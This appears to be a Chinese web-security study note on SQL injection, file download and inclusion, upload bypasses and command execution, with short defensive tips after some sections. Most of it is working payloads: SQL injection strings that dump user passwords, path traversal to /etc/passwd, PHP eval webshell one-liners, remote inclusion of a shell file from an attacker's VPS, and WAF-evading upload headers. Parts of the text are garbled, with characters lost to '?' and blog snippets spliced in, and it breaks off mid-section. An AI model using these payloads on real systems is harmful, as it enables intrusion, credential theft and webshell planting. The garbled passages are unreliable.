目錄
一、SQL注入漏洞
分為以下五種注入方式:
查找SQL注入漏洞
Union注入?
布爾盲注?
報(bào)錯(cuò)注入
時(shí)間盲注
時(shí)間型盲注的加速方式
二、任意文件下載
漏洞原理:
產(chǎn)生原因:
利用條件:
漏洞發(fā)現(xiàn):
漏洞利用方法:
漏洞防護(hù):
三、敏感文件
四、文件包含
漏洞利用
PHP中的封裝協(xié)議(偽協(xié)議)
file://
php://
zip:// & bzip2:// & zlib://
data://
phar://
遠(yuǎn)程文件包含(RFL)
漏洞利用
代碼審計(jì)
漏洞防護(hù)
五、文件上傳
漏洞原理
繞過(guò)
黑名單繞過(guò):
白名單繞過(guò):
黑白名單通用
基于WAF:
文件加載檢測(cè)(文件內(nèi)容檢測(cè))
漏洞防護(hù)
六、命令執(zhí)行
漏洞原理
兩個(gè)條件
命令執(zhí)行漏洞帶來(lái)的危害
列子
漏洞防護(hù)
七、代碼執(zhí)行
PHP敏感函數(shù)代碼執(zhí)行
八、XML外部實(shí)體注入
XML基礎(chǔ)
惡意引入外部實(shí)體的三種方式
一、本地引入
二、遠(yuǎn)程引入
三、遠(yuǎn)程引入2
九、xss 漏洞
漏洞原理:
xss 分類:(三類)
十、CSRF & SSRF?
CSRF:
????SSRF:
一、SQL注入漏洞
Web應(yīng)用程序?qū)τ脩魯?shù)據(jù)交互時(shí)候前端傳入后端處理沒(méi)做過(guò)濾處理,惡意代碼輸入后被拼接到SQL語(yǔ)句中執(zhí)行一部分,使數(shù)據(jù)庫(kù)回顯內(nèi)容。
分為字符型和數(shù)字型
分為以下五種注入方式:
布爾盲注:根據(jù)返回頁(yè)面判斷條件真假 延時(shí)注入:用頁(yè)面返回時(shí)間是否增加判斷是否存在注入 報(bào)錯(cuò)注入:頁(yè)面會(huì)返回錯(cuò)誤信息 聯(lián)合查詢注入:可以使用union的情況下 堆疊注入:可以同時(shí)執(zhí)行多條語(yǔ)句 ??????(mysql_multi_query() 支持多條sql語(yǔ)句同時(shí)執(zhí)行,就是個(gè);分隔,成堆的執(zhí)行sql語(yǔ)句)
查找SQL注入漏洞
Union注入?
1、在參數(shù)后加單引號(hào)使其報(bào)錯(cuò),并用and 1=1和and 1=2測(cè)試報(bào)錯(cuò)結(jié)果
?id=1' and 1=1 --+?頁(yè)面返回正常
?id=1' and 1=2?--+頁(yè)面返回不正常
2、使用order by 或 group by猜字段
?id=1%27 order by 3--+ ????????返回正常
?id=1%27 order by 4--+ ????????返回正常
?id=1%27 order by 5--+ ????????返回錯(cuò)誤
證明字段總數(shù)為4
3、聯(lián)合查詢
?id=-1' union select 1,2,3,4 --+
看哪個(gè)字段顯示信息,利用它進(jìn)一步注入出數(shù)據(jù)庫(kù)信息
修改id為一個(gè)不存在的id,強(qiáng)行報(bào)錯(cuò) 因?yàn)榇a默認(rèn)只返回第一條結(jié)果,
不會(huì)返回 union select 的結(jié)果
4、獲取數(shù)據(jù)庫(kù)信息
id=-1'?union?select?1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) --+
或者
id=-1'?union?select?1,2,3,database() --+
id=-1'?union?select?1,2,3,version() --+ user()獲取數(shù)據(jù)庫(kù)用戶名 database() 獲取數(shù)據(jù)庫(kù)名
version() 獲取數(shù)據(jù)庫(kù)版本信息
concat_ws(separator,str1,str2,...) 含有分隔符地連接字符串
里邊這的separator分隔符,用 char() 函數(shù)把 空格:空格 的ASCII碼輸出
--其它信息
@@datadir --數(shù)據(jù)庫(kù)路徑
@@version_compile_os --操作系統(tǒng)版本
5、獲取數(shù)據(jù)表信息
id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
table_schema=數(shù)據(jù)庫(kù)名16進(jìn)制或者用單引號(hào)括起來(lái)
6、獲取字段信息
id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='數(shù)據(jù)庫(kù)名' and table_name='表名' --+
7、脫庫(kù)?
union select 1,2,3,group_concat(name,password) from 表名 用字段名從表中取數(shù)據(jù) group_concat(str1,str2,...) 連接一個(gè)組的所有字符串
布爾盲注?
頁(yè)面不返回查詢信息的數(shù)據(jù),只能通過(guò)頁(yè)面返回信息的真假條件判斷是否存在注入
1、在參數(shù)后加單引號(hào)使其報(bào)錯(cuò),并用and 1=1和and 1=2測(cè)試報(bào)錯(cuò)結(jié)果
?id=1' and 1=1 --+ 頁(yè)面返回正常 ?id=1' and 1=2 --+ 頁(yè)面返回不正常
2、判斷數(shù)據(jù)庫(kù)名的長(zhǎng)度
1'and length(database())>=1--+ 頁(yè)面返回正常 1'and length(database())>=13--+ 頁(yè)面返回正常 1'and length(database())>=14--+ 頁(yè)面返回錯(cuò)誤 由此判斷得到數(shù)據(jù)庫(kù)名的長(zhǎng)度是13個(gè)字符
3、猜解數(shù)據(jù)庫(kù)名(建議寫python腳本)
字符判斷獲取數(shù)據(jù)庫(kù)名; 數(shù)據(jù)庫(kù)名的范圍一般在a~z、0~9之內(nèi),可能還會(huì)有特殊字符 "_"、"-" 等,這里的字母不區(qū)分大小寫。 ' and substr(database(),1,1)='a'--+ ' and substr(database(),2,1)='a'--+ substr 的用法和 limit 有區(qū)別,limit從 0 開始排序,這里從 1 開始排序。 用Burp爆破字母a的位置,即可得到數(shù)據(jù)庫(kù)名每個(gè)位置上的字符。 還可以用ASCII碼查詢a 的ASCII碼是97,在MySQL中使用ord函數(shù)轉(zhuǎn)換ASCII,所以逐字符判斷語(yǔ)句可改為: ' and ord(substr(database(),1,1))=97--+ ASCII碼表中可顯示字符的范圍是:0~127
4、判斷數(shù)據(jù)庫(kù)表名
' and substr((select table_name from information_schema.tables where table_schema='數(shù)據(jù)庫(kù)名' limit 0,1),1,1)='a'--+ 修改1,1前邊的1~20,逐字符猜解出第一個(gè)表的名 修改limit的0,1前邊的0~20,逐個(gè)猜解每個(gè)表
5、判斷數(shù)據(jù)庫(kù)字段名
' and substr((select column_name from information_schema.columns where table_schema='數(shù)據(jù)庫(kù)名' and table_name='表名' limit 0,1),1,1)='a'--+ 修改1,1前邊的1~20,逐字符猜解出第一個(gè)字段的名 修改limit的0,1前邊的0~20,逐個(gè)猜解每個(gè)字段
報(bào)錯(cuò)注入
頁(yè)面會(huì)返回錯(cuò)誤信息,利用報(bào)錯(cuò)函數(shù)獲取數(shù)據(jù)庫(kù)數(shù)據(jù)
xpath語(yǔ)法錯(cuò)誤 extractvalue() 查詢節(jié)點(diǎn)內(nèi)容 updatexml() 修改查詢到的內(nèi)容 它們的第二個(gè)參數(shù)都要求是符合xpath語(yǔ)法的字符串 如果不滿足要求則會(huì)報(bào)錯(cuò),并且將查詢結(jié)果放在報(bào)錯(cuò)信息里 這二者里面?zhèn)鲄⒌谝粋€(gè)是兩個(gè)第二個(gè)是三個(gè),但都是改變xpath 主鍵重復(fù)(duplicate entry) floor() --返回小于等于該值的最大整數(shù) 只要是count,rand(),group by 三個(gè)連用就會(huì)造成這種主鍵重復(fù)報(bào)錯(cuò)
1、嘗試用單引號(hào)報(bào)錯(cuò)
同上
2、獲取數(shù)據(jù)庫(kù)名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ 0x7e是"~"符號(hào)的16進(jìn)制,在這作為分隔符(喜歡哪個(gè)用哪個(gè))
3、獲取表名
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='數(shù)據(jù)庫(kù)名' limit 0,1),0x7e),1)--+
4、獲取字段名
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='數(shù)據(jù)庫(kù)名' and table_name='表名' limit 0,1),0x7e),1)--+
5、脫庫(kù)
' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)--+ 其它函數(shù)payload語(yǔ)法: --extractvalue ' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+ --floor() ' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
時(shí)間盲注
服務(wù)器關(guān)閉了錯(cuò)誤回顯,單純通過(guò)服務(wù)器返回內(nèi)容的變化來(lái)判斷是否存在SQL注入的方式 。
可以用benchmark,sleep等造成延時(shí)效果的函數(shù)。
如果benkchmark和sleep關(guān)鍵字被過(guò)濾了,可以讓兩個(gè)非常大的數(shù)據(jù)表做笛卡爾積 (opens new window)產(chǎn)生大量的計(jì)算從而產(chǎn)生時(shí)間延遲;
或者利用復(fù)雜的正則表達(dá)式去匹配一個(gè)超長(zhǎng)字符串來(lái)產(chǎn)生時(shí)間延遲。
1、利用sleep判斷數(shù)據(jù)庫(kù)名長(zhǎng)度
' and sleep(5) and 1=1--+ 頁(yè)面返回不正常,延時(shí)5秒 ' and sleep(5) and 1=2--+ 頁(yè)面返回不正常,不延時(shí) and if(length(database())>1,sleep(5),1) --if(條件表達(dá)式,真,假) --C語(yǔ)言的三目運(yùn)算符類似
2、獲取數(shù)據(jù)庫(kù)名
and if(substr(database(),1,1)='a',sleep(5),1)--+
時(shí)間型盲注的加速方式
1、Windows平臺(tái)上的Mysql可以用DNSlog加速注入
2、利用二分查找法
sqlmap盲注默認(rèn)采用的是二分查找法
二、任意文件下載
漏洞原理:
一般來(lái)說(shuō)在文件下載或查看功能處,當(dāng)文件名參數(shù)可控,且系統(tǒng)未對(duì)參數(shù)進(jìn)行過(guò)濾或者過(guò)濾不嚴(yán)格時(shí),就能夠?qū)崿F(xiàn)下載服務(wù)器上的任何文件,產(chǎn)生任意文件下載漏洞,惡意用戶就可利用路徑回溯符號(hào)(../)跳出程序本身的限制目錄實(shí)現(xiàn)下載任意文件。此漏洞的最終目的還是為了進(jìn)一步獲取更多系統(tǒng)信息。
產(chǎn)生原因:
● 提供下載、查看的功能,并接收相關(guān)參數(shù)變量;
● 使用讀取文件的函數(shù);
● 未對(duì)相關(guān)參數(shù)做校驗(yàn)或者控制不嚴(yán)格;
● 能輸出請(qǐng)求文件的內(nèi)容,提供給客戶端;
利用條件:
● 存在讀文件的函數(shù);
● 讀取文件的路徑是用戶可控的且未經(jīng)校驗(yàn)或校驗(yàn)不嚴(yán)格;
● 輸出或下載了文件內(nèi)容;
漏洞發(fā)現(xiàn):
-
存在下載功能的功能點(diǎn);
-
可以使用Google hacking語(yǔ)法或者Web漏洞掃描器。
Google search inurl:readfile.php?file= inurl:download.php?file=
- 鏈接存在以下關(guān)鍵字:
download.php?path= download.php?file= download.php?filename= down.php?file= data.php?file= readfile.php?file= read.php?filename=
- 包含以下參數(shù)
&RealPath= &FilePath= &?lepath= &Filepath= &Path= &path= &inputFile= &InputFile= &url= &urls= &Lang= &dis= &data= &Date= &read?le= &?lep= &src= &menu= META-INF WEB-INF
漏洞利用方法:
任意文件下載漏洞,正常的利用手段是下載服務(wù)器文件,比如腳本代碼、服務(wù)器配置文件或者是系統(tǒng)配置文件等。但有時(shí)并不知道網(wǎng)站所處環(huán)境以及網(wǎng)站路徑,就可以使用../../../進(jìn)行逐層猜測(cè)路徑,案例如下:
index.php?f=../../../../../../../../../etc/passwd index.php?f=../../../index.php index.php?f=?le:///etc/passwd readfile.php?file=/etc/passwd readfile.php?file=../../../../../etc/passwd readfile.php?file=../../../../../../../etc/passwd%00 // 00截?cái)? 注: 當(dāng)參數(shù)f的參數(shù)值為php?件時(shí),若是?件被解析則是?件包含漏洞, 若顯?源碼或提?下載則是?件查看與下載漏洞。
漏洞防護(hù):
(1)過(guò)濾".",使用戶在 url 中不能回溯上級(jí)目錄
(2)正則嚴(yán)格判斷用戶輸入?yún)?shù)的格式
(3)php.ini 配置 open_basedir 限定文件訪問(wèn)范圍
三、敏感文件
/root/.bash_history //用戶終端歷史命令記錄文件 /root/.mysql_history //mysql歷史命令記錄文件 /proc/mounts //記錄系統(tǒng)掛載設(shè)備 /porc/config.gz //內(nèi)核配置文件 /var/lib/mlocate/mlocate.db //全文件路徑 /porc/self/cmdline //當(dāng)前進(jìn)程的cmdline參數(shù) /usr/local/app/apache2/conf/httpd.conf //apache2默認(rèn)配置文件 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網(wǎng)站設(shè)置 /usr/local/app/php5/lib/php.ini //php相關(guān)設(shè)置 /etc/httpd/conf/httpd.conf //apache配置文件 /etc/php5/apache2/php.ini //ubuntu系統(tǒng)的默認(rèn)路徑
Tomcat
apache-tomcat-8.5.51/conf/tomcat-users.xml //tomcat的角色(授權(quán)用戶)配置文件 apache-tomcat-8.5.51/conf/server.xml //tomcat的主配置文件 apache-tomcat-8.5.51/conf/web.xml //tomcat應(yīng)用程序的部署描述符文件 apache-tomcat-8.5.51/logs/catalina.out //即tomcat的標(biāo)準(zhǔn)輸出和標(biāo)準(zhǔn)出錯(cuò),所有輸出到這兩個(gè)位置的都會(huì)進(jìn)入catalina.out,這里包含tomcat運(yùn)行自己輸出的日志以及應(yīng)用里向console輸出的日志。
Web應(yīng)用
PHP 獲取inc/config.php文件,獲得數(shù)據(jù)庫(kù)連接字符串中的口令信息; ASP 獲取inc/conn.asp文件,獲得數(shù)據(jù)庫(kù)連接字符串口令,得到數(shù)據(jù)庫(kù)口令。若是ACCESS數(shù)據(jù)庫(kù),可以得到數(shù)據(jù)庫(kù)路徑,再下載數(shù)據(jù)庫(kù)內(nèi)容; ASPX 獲取網(wǎng)站根目錄web.config文件,獲得數(shù)據(jù)庫(kù)連接字符串中的口令信息; 獲取bin/*.dll文件,獲取網(wǎng)站源碼(不完整代碼),使用.NET reflector工具打開編譯后的dll文件; JSP 獲取conf/tomcat-user.xml文件,獲得tongcat管理界面的口令信息,上傳war包GetShell; 獲取WEB-INF/Web.xml文件,獲得數(shù)據(jù)庫(kù)連接字符串中的口令信息。
四、文件包含
漏洞成因:
在通過(guò)引入文件時(shí),引用的文件名,用戶可控,由于傳入的文件名沒(méi)有經(jīng)過(guò)合理的校驗(yàn),或者校驗(yàn)被繞過(guò),從而操作了預(yù)想之外的文件,就可能導(dǎo)致意外的文件泄露甚至惡意的代碼注入。
當(dāng)被包含的文件在服務(wù)器本地時(shí),就形成的本地文件包含漏洞。
漏洞利用
利用條件:
(1)include()、include_noce()、require()、require_once()等函數(shù)通過(guò)動(dòng)態(tài)變量的方式引入包含文件; (2)用戶能夠控制該動(dòng)態(tài)變量。
1、讀取敏感文件
?arg=/etc/passwd
2、利用封裝協(xié)議讀源碼
?arg=php://filter/read=convert.base64-encode/resource=config.php 這樣能看到php文件的源碼
3、包含圖片Getshell
在上傳的圖片中寫入惡意代碼,然后用 LFI 包含調(diào)用,就會(huì)執(zhí)行圖片里的PHP代碼(圖片馬)
4、截?cái)喟?/strong>
漏洞代碼:如:
?php if(isset($_GET['arg'])) { include($_GET['arg'].".php"); }else{ include(index.php); } ?>
這樣做一定程度上修復(fù)了漏洞, 上傳圖片一句話并訪問(wèn):http://vuln.com/index.php?arg=1.jpg
會(huì)出錯(cuò)。
因?yàn)榘募锩娌淮嬖?code>1.jpg.php這個(gè)文件。
但是如果輸入http://vuln.com/index.php?arg=1.jpg%00
,就極有可能會(huì)繞過(guò)檢測(cè)。
這種方法只適用于php.ini
中magic_quotes_qpc=off
并且PHP
版本< 5.3.4的情況。
如果為on,%00會(huì)被轉(zhuǎn)義,以至于無(wú)法截?cái)唷?/p>
5、包含Apache日志Getshell
條件:知道日志文件access.log的存放位置 ,默認(rèn)位置:/var/log/httpd/access_log
access.log
文件記錄了客戶端每次請(qǐng)求的相關(guān)信息; 當(dāng)訪問(wèn)一個(gè)不存在的資源時(shí)access.log
文件仍然會(huì)記錄這條資源信息。
如果目標(biāo)網(wǎng)站存在文件包含漏洞,但是沒(méi)有可以包含的文件時(shí),
我們就可以嘗試訪問(wèn)http://www.vuln.com/<?php phpinfo(); ?>
Apache會(huì)將這條信息記錄在access.log文件中,這時(shí)如果我們?cè)L問(wèn)access.log文件,就會(huì)觸發(fā)文件包含漏洞。
理論上是這樣的,但是實(shí)際上卻是輸入的代碼被轉(zhuǎn)義無(wú)法解析。
攻擊者可以通過(guò)burpsuite進(jìn)行抓包在http請(qǐng)求包里面將轉(zhuǎn)義的代碼改為正常的測(cè)試代碼就可以繞過(guò)。
這時(shí)再查看Apache日志文件,顯示的就是正常的測(cè)試代碼。
這時(shí)訪問(wèn):http://www.vuln.com/index.php?arg=/var/log/httpd/access_log
,即可成功執(zhí)行代碼
PHP中的封裝協(xié)議(偽協(xié)議)
以下協(xié)議未寫明條件的即是allow_url_fopen和allow_url_include狀態(tài)off/on都行。
file://
作用:
用于訪問(wèn)本地文件系統(tǒng),在CTF中通常用來(lái)讀取本地文件,且不受allow_url_fopen與allow_url_include的影響。
include()/require()/include_once()/require_once()
參數(shù)可控的情況下
如導(dǎo)入為非.php文件,則仍按照php語(yǔ)法進(jìn)行解析,這是include()函數(shù)所決定的
示例:
1. file://[文件的絕對(duì)路徑和文件名] http://127.0.0.1/include.php?file=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txt 2. file://[文件的相對(duì)路徑和文件名] http://127.0.0.1/include.php?file=./phpinfo.txt 3. file://[網(wǎng)絡(luò)路徑和文件名] http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
php://
條件:
allow_url_fopen:off/on allow_url_include : 部分需要on (下面列出) php://input php://stdin php://memory php://temp
作用:
php:// 訪問(wèn)各個(gè)輸入/輸出流(I/O streams),在CTF中經(jīng)常使用的是?php://filter
?和?php://input
php://filter用于讀取源碼,php://input用于執(zhí)行php代碼
示例:
1. php://filter/read=convert.base64-encode/resource=[文件名] //讀取文件源碼 http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php 2.php://input + [POST DATA]執(zhí)行php代碼 http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php phpinfo(); ?> 3.若有寫入權(quán)限,[POST DATA部分] 寫入一句話木馬 <?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
zip:// & bzip2:// & zlib://
作用:
zip:// & bzip2:// & zlib://
?均屬于壓縮流,可以訪問(wèn)壓縮文件中的子文件
更重要的是不需要指定后綴名,可修改為任意后綴:jpg png gif xxx
?等等
示例:
1.zip://[壓縮文件絕對(duì)路徑]%23[壓縮文件內(nèi)的子文件名](#編碼為%23) <!--壓縮 phpinfo.txt 為 phpinfo.zip ,壓縮包重命名為 phpinfo.jpg ,并上傳--> http://127.0.0.1/include.php? ?file=zip://C:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt 2.compress.bzip2://file.bz2 <!--壓縮 phpinfo.txt 為 phpinfo.bz2 并上傳(同樣支持任意后綴名)--> http://127.0.0.1/include.php? ?file=compress.bzip2://C:\phpStudy\PHPTutorial\WWW\phpinfo.bz2 3.compress.zlib://file.gz <!--壓縮 phpinfo.txt 為 phpinfo.gz--> http://127.0.0.1/include.php? ?file=compress.zlib://C:\phpStudy\PHPTutorial\WWW\phpinfo.gz
data://
條件:
allow_url_fopen:on
allow_url_include :on
作用:
自PHP>=5.2.0
起,可以使用?data://
?數(shù)據(jù)流封裝器,以傳遞相應(yīng)格式的數(shù)據(jù)。
通??梢杂脕?lái)執(zhí)行PHP代碼
示例:
1.data://text/plain, http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?> 2.data://text/plain;base64, http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
phar://
phar://協(xié)議與zip://類似,同樣可以訪問(wèn)zip格式壓縮包內(nèi)容
http://127.0.0.1/include.php?file=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
利用條件?PHP > 5.3
要想使用Phar類里的方法,必須將phar.readonly
配置項(xiàng)配置為0或Off
利用 phar 協(xié)議可以拓展 php 反序列化漏洞攻擊面
遠(yuǎn)程文件包含(RFL)
服務(wù)器通過(guò) PHP 的特性(函數(shù))去包含任意文件時(shí),由于要包含的這個(gè)文件來(lái)源過(guò)濾不嚴(yán)格,
從而可以去包含一個(gè)惡意文件,攻擊者就可以遠(yuǎn)程構(gòu)造一個(gè)特定的惡意文件達(dá)到攻擊目的。
漏洞利用
條件:php.ini
中開啟allow_url_include
、allow_url_fopen
選項(xiàng)。
1、遠(yuǎn)程包含Webshell
?arg=http://攻擊者的VPS/shell.txt #會(huì)在網(wǎng)站目錄生成名為 shell.php 的一句話木馬
shell.txt內(nèi)容為:
<?php fputs(fopen('./shell.php','w'),'<?php @eval($_POST[123]) ?>'); ?>
代碼審計(jì)
文件包含用到的函數(shù)
include() //使用此函數(shù),只有代碼執(zhí)行到此函數(shù)時(shí)才將文件包含進(jìn)來(lái),發(fā)生錯(cuò)誤時(shí)只警告并繼續(xù)執(zhí)行。 inclue_once() //功能和前者一樣,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時(shí),程序只調(diào)用一次。 require() //使用此函數(shù),只要程序執(zhí)行,立即調(diào)用此函數(shù)包含文件發(fā)生錯(cuò)誤時(shí),會(huì)輸出錯(cuò)誤信息并立即終止程序。 require_once() //功能和前者一樣,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時(shí),程序只調(diào)用一次。
代碼審計(jì)的時(shí)候全局搜索以上函數(shù)
如果是基于圖像上傳的 ,要搜$_FILES
?變量, 因?yàn)镻HP處理上傳文件的功能,基本都與$_FILES有關(guān)。
查看目錄結(jié)構(gòu),重點(diǎn)關(guān)注includes、modules等文件夾,查看index.php等文件是否動(dòng)態(tài)調(diào)用過(guò)這些內(nèi)容,變量是否可控。
漏洞防護(hù)
- 禁止遠(yuǎn)程文件包含?
allow_url_include=off
- 配置?
open_basedir=指定目錄
,限制訪問(wèn)區(qū)域。- 過(guò)濾
../
等特殊符號(hào)- 修改Apache日志文件的存放地址
- 開啟魔術(shù)引號(hào)?
magic_quotes_qpc=on
- 盡量不要使用動(dòng)態(tài)變量調(diào)用文件,直接寫要包含的文件。
五、文件上傳
漏洞原理
用戶上傳了一個(gè)可執(zhí)行的腳本文件,并通過(guò)此腳本文件獲得了執(zhí)行服務(wù)器端命令的能力。沒(méi)有對(duì)后綴做一個(gè)嚴(yán)格過(guò)濾。
繞過(guò)
一句話前后加圖片數(shù)據(jù)混淆;直接把木馬改成.gif
后綴上傳,BurpSuite攔包修改后綴名。
黑名單繞過(guò):
找漏網(wǎng)之魚:
cer、php3、php4
等大小寫繞過(guò):
AsP、pHP
文件后綴復(fù)寫繞過(guò):
.phphpp
針對(duì)Windows系統(tǒng):
上傳不符合windows文件命名規(guī)則的文件名
test.php:1.jpg //會(huì)被windows系統(tǒng)自動(dòng)去掉不符合規(guī)則符號(hào)后面的內(nèi)容 test.php::$DATA //會(huì)被windows系統(tǒng)自動(dòng)去掉不符合規(guī)則符號(hào)后面的內(nèi)容
白名單繞過(guò):
1)00截?cái)啵?抓包修改文件名后綴為“php .jpg”,再將空格的十六進(jìn)制改為00(系統(tǒng)在對(duì)文件名進(jìn)行讀取時(shí),如果遇到0x00,就會(huì)認(rèn)為讀取已經(jīng)結(jié)束,系統(tǒng)按二進(jìn)制或十六進(jìn)制讀取文件,遇到ASCII碼為0的位置就停止,而這個(gè)ASCII為0的位置在十六進(jìn)制中是00); 2).htaccess解析漏洞: (只適用于Apache中allow override all、loadmodule rewrite_module/mod_rewrite.so #rewrite模塊為開啟狀態(tài)):先上傳.htaccess文件(AddType application/x-httpd-php .jpg),再上傳一個(gè)圖片馬文件(jpg),上傳的jpg文件都會(huì)以php文件格式解析。 3)Content-Type: 先上傳正常的圖片文件,查看Content-Type類型。上傳腳本文件(AddType aaplication/x-httpd-php .jpg #將所有后綴為.jpg的文件作為php文件解析),將Content-Type類型改為查看到的類型(image/jpeg、imagepng、imagegif等) 4)Apache解析漏洞: Apache從右向左解析,若不能夠解析最右的后綴,會(huì)遞歸向前解析,直到解析道能夠解析為止,否則會(huì)報(bào)錯(cuò)。 5).user.ini: 適用于服務(wù)器使用CGI/FastCGI模式且目錄下要有可執(zhí)行的php文件,文件內(nèi)容“auto_prepend_file=a.jpg # a.jpg中符合php語(yǔ)言的代碼會(huì)被執(zhí)行”。 6)文件頭檢測(cè): 上傳圖片馬,再修改后綴為可解析腳本語(yǔ)言;或上傳一句話木馬,再將文件中添加正常格式文件頭(GIF89a等)。
黑白名單通用
如果可上傳修改?
.htaccess
?文件 (還能用于隱藏后門)<FilesMatch "shell.jpg"> ?SetHandler application/x-httpd-php </FilesMatch> //上傳shell.jpg文件,將解析為php運(yùn)行
基于WAF:
常用的黑名單繞過(guò)放大也適用于部分的waf,更多的是需要配合使用。主要思路為接收文件名和waf的檢測(cè)有所差異,只要是服務(wù)器能接收并解析。
1)換行繞過(guò) Content-Disposition:form-data;name="file";filename="1.php" Content-Disposition:form-data;name="file";file name="1.php" Content-Disposition:form-data;name="file";filename= "1.php" 2)多個(gè)等號(hào)繞過(guò) Content-Disposition:form-data;name="file";filename=="1.php" 3)增加文件大小,類似于垃圾字符 Content-Disposition:form-data; qqqqqqqq…qqqqqqqqqqq;name="file";filename="1.php" 4)去掉或替換引號(hào)繞過(guò) Content-Disposition:form-data;name=file;filename=1.php Content-Disposition:form-data;name='file';filename="1.php" 5)增加filename干擾攔截 Content-Disposition:form-data;name="file";filename= ;filename="1.php" 6)混淆waf匹配字段 a.混淆form-data Content-Disposition:name="file";filename="1.php" //去除form-data Content-Disposition:qqqqq="qweqwe";name="file"; filename="1.php" // 替換form-data為垃圾值 Content-Disposition: form-data ; name="file"; filename="1.php" // form-data后加空格 Content-Disposition: for+m-data; name="file"; filename="1.php" // form-data中加+號(hào) b.混淆ConTent-Disposition COntEnT-DIsposiTiOn: form-data; name="file"; filename="1.php" // 大小寫混淆 Content-Type: image/gif Content-Disposition: form-data; name="file"; filename="1.php" //調(diào)換Content-Type和ConTent-Disposition的順序 Content-Type: image/gif Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: image/gif //增加額外的頭 AAAAAAAA:filename="aaa.jpg"; Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: image/gif //增加額外的頭 Content-Length: 666 Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: image/gif //增加額外的頭 Content-Disposition: form-data; name="file_x";;; filename="test.php" //多個(gè)分號(hào),導(dǎo)致可能解析不到文件名 7)雙文件繞過(guò): 例如安全狗總是以最后一個(gè)Content-Disposition中的值作為接收參數(shù)進(jìn)行檢測(cè),一些中間件例如IIS6.0總是以第一個(gè)Content-Disposition中的值作為接收參數(shù)。 8)容器與waf對(duì)Bounday要求規(guī)則不一致 Content-Type: multipart/form-data; boundary=—————————471114117352599 Content-Length: 253 —————————–471114117352599 Content-Disposition: form-data; name="file1"; filename="shell.asp" Content-Type: application/octet-stream <%eval request("a")%> —————————–471114117352599– 一些waf會(huì)認(rèn)為兩段Boundary不一致的數(shù)據(jù)是無(wú)意義的,不進(jìn)行檢測(cè),而容器并沒(méi)有嚴(yán)格要求,正常接收數(shù)據(jù)。 9) 條件競(jìng)爭(zhēng) 一些情況再上傳文件時(shí),先上傳到臨時(shí)目錄,然后再檢測(cè),檢測(cè)到再刪除。例如可以上傳生成一句話木馬的文件(fputs(fopen('shell.php','w'),'') ; 上傳同時(shí)瘋狂重復(fù)發(fā)包訪問(wèn)此文件,就有可能會(huì)在文件被刪除之前生成webshell文件shell.php。
文件加載檢測(cè)(文件內(nèi)容檢測(cè))
常見的是對(duì)圖像進(jìn)行二次渲染,一般是調(diào)用PHP 的GD庫(kù)
一個(gè)繞過(guò)GD庫(kù)的Webshell生成器:
http://wiki.ioin.in/soft/detail/1q
https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE
漏洞防護(hù)
1、使用白名單限制可以上傳的文件擴(kuò)展名 2、注意0x00截?cái)喙簦≒HP更新到最新版本) 3、對(duì)上傳后的文件統(tǒng)一隨機(jī)命名,不允許用戶控制擴(kuò)展名 4、上傳文件的存儲(chǔ)目錄禁用執(zhí)行權(quán)限
六、命令執(zhí)行
漏洞原理
命令執(zhí)行漏洞是指攻擊者可以隨意執(zhí)行系統(tǒng)命令,分為遠(yuǎn)程代碼執(zhí)行和系統(tǒng)命令執(zhí)行兩類。
由于開發(fā)人員編寫源碼時(shí),沒(méi)有針對(duì)代碼中可執(zhí)行的特殊函數(shù)入口做過(guò)濾,導(dǎo)致客戶端可以提交惡意構(gòu)造語(yǔ)句,并提交服務(wù)端執(zhí)行 命令注入攻擊中, Web服務(wù)器沒(méi)有過(guò)濾類似system、eval和exec等函數(shù),是該漏洞攻擊成功的主要原因。
程序應(yīng)用有時(shí)需要調(diào)用一些執(zhí)行系統(tǒng)命令的函數(shù),如PHP:
system() //執(zhí)行外部程序,并且顯示輸出 exec() //執(zhí)行一個(gè)外部程序 shell_exec() //通過(guò) shell 環(huán)境執(zhí)行命令,并且將完整的輸出以字符串的方式返回 passthru() //執(zhí)行外部程序并且顯示原始輸出 pcntl_exec() //在當(dāng)前進(jìn)程空間執(zhí)行指定程序 popen() //打開進(jìn)程文件指針 proc_open() //執(zhí)行一個(gè)命令,并且打開用來(lái)輸入/輸出的文件指針 反引號(hào) 令拼接到正常命令中,從而造成命令執(zhí)行攻擊。詳細(xì)看:PHP中常見的命令執(zhí)行函數(shù)與代碼執(zhí)行函數(shù)_echo是命令執(zhí)行函數(shù)嗎_紅燒兔紙的博客-CSDN博客參考:https://blog.csdn.net/weixin_43376075/article/details/105189017https://blog.csdn.net/qq_43168364/article/details/105595532https://www.cnblogs.com/-qing-/p/10819069.html代碼執(zhí)行函數(shù):1- eval()#傳入的參數(shù)必須為PHP代碼,既需要以分號(hào)結(jié)尾。#命令執(zhí)行:cmd=system(whoami);#菜._echo是命令執(zhí)行函數(shù)嗎https://blog.csdn.net/weixin_39934520/article/details/109231480
兩個(gè)條件
- 用戶能夠控制的函數(shù)輸入
